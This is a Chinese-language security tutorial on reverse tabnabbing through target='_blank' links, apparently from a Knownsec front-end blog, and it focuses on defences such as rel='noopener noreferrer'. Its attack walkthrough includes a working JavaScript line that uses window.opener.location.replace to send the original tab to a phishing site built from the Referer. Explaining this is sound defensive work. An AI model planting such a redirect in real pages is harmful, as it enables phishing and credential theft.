在网页中使用链接时，如果想要让浏览器自动在新的标签页打开指定的地址，通常的做法就是在
a标签上添加target等于"_blank"属性。
然而，就是这个属性，为钓鱼攻击者带来了可乘之机。
起源
parent 与 opener
在说 opener 之前，可以先聊聊 <iframe> 中的 parent。
我们知道，在 <iframe> 中提供了一个用于父子页面交互的对象，叫做 window.parent，我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window。
opener 与 parent 一样，只不过是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面，可以直接使用 window.opener 来访问来源页面的 window 对象。
同域与跨域
浏览器提供了完整的跨域保护，在域名相同时，parent 对象和 opener 对象实际上就直接是上一级的 window 对象；而当域名不同时，parent 和 opener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 DOMException）。
在 <iframe> 中，提供了一个 sandbox 属性用于控制框架中的页面的权限，因此即使是同域，也可以控制 <iframe> 的安全性。
利用
如果，你的网站上有一个链接，使用了 target="_blank"，那么一旦用户点击这个链接并进入一个新的标签，新标签中的页面如果存在恶意代码，就可以将你的网站直接导航到一个虚假网站。此时，如果用户回到你的标签页，看到的就是被替换过的页面了。
详细步骤
- 在你的网站
http://example.com上存在一个链接：<a href="http://an.evil.site" target="_blank">进入一个“邪恶”的网站</a> - 用户点击了这个链接，在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的
Referer属性来判断用户的来源。并且，这个网站上包含着类似于这样的 JavaScript 代码：const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('http://a.fake.site/?' + url); - 此时，用户在继续浏览这个新的标签页，而原来的网站所在的标签页此时已经被导航到了
http://a.fake.site/?https%3A%2F%2Fexample.com%2F。 - 恶意网站
http://a.fake.site根据 Query String 来伪造一个足以欺骗用户的页面，并展示出来（期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性）。 - 用户关闭
http://an.evil.site的标签页，回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的，在跨域情况下，opener 对象和 parent 一样，是受到限制的，仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 DOMException）。但是与 parent 不同的是，在跨域的情况下，opener 仍然可以调用 location.replace 方法而 parent 则不可以。
如果是在同域的情况下（比如一个网站上的某一个页面被植入了恶意代码），则情况要比上面严重得多。
防御
<iframe> 中有 sandbox 属性，而链接，则可以使用下面的办法：
1. Referrer Policy 和 noreferrer
上面的攻击步骤中，用到了 HTTP Header 中的 Referer 属性，实际上可以在 HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。
Referrer Policy 需要修改后端代码来实现，而在前端，也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。
<a href="http://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>但是要注意的是：即使限制了
referer的传递，仍然不能阻止原标签被恶意跳转。
2. noopener
为了安全，现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener"，这样，在打开的新标签页中，将无法再使用 opener 对象了，它为设置为了 null。
<a href="http://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>3. JavaScript
noopener 属性看似是解决了所有问题，但是…浏览器的兼容性问题…
可以看到，现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是，为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器，只有 noopener 属性还是远远不够的。
这时，就只能请出下面这段原生 JavaScript 来帮忙了。
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}推荐
首先，在网站中的链接上，如果使用了 target="_blank"，就要带上 rel="noopener"，并且建议带上 rel="noreferrer"。类似于这样：
<a href="http://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>当然，在跳转到第三方网站的时候，为了 SEO 权重，还建议带上 rel="nofollow"，所以最终类似于这样：
<a href="http://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>性能
最后，再来说说性能问题。
如果网站使用了 <a target="_blank">，那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本，那么原始标签页也会受到影响，会出现卡顿的现象（当然不至于卡死）。
而如果在链接中加入了 noopener，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。
本文文字及图片出自 knownsec-fed.com
你的反应是：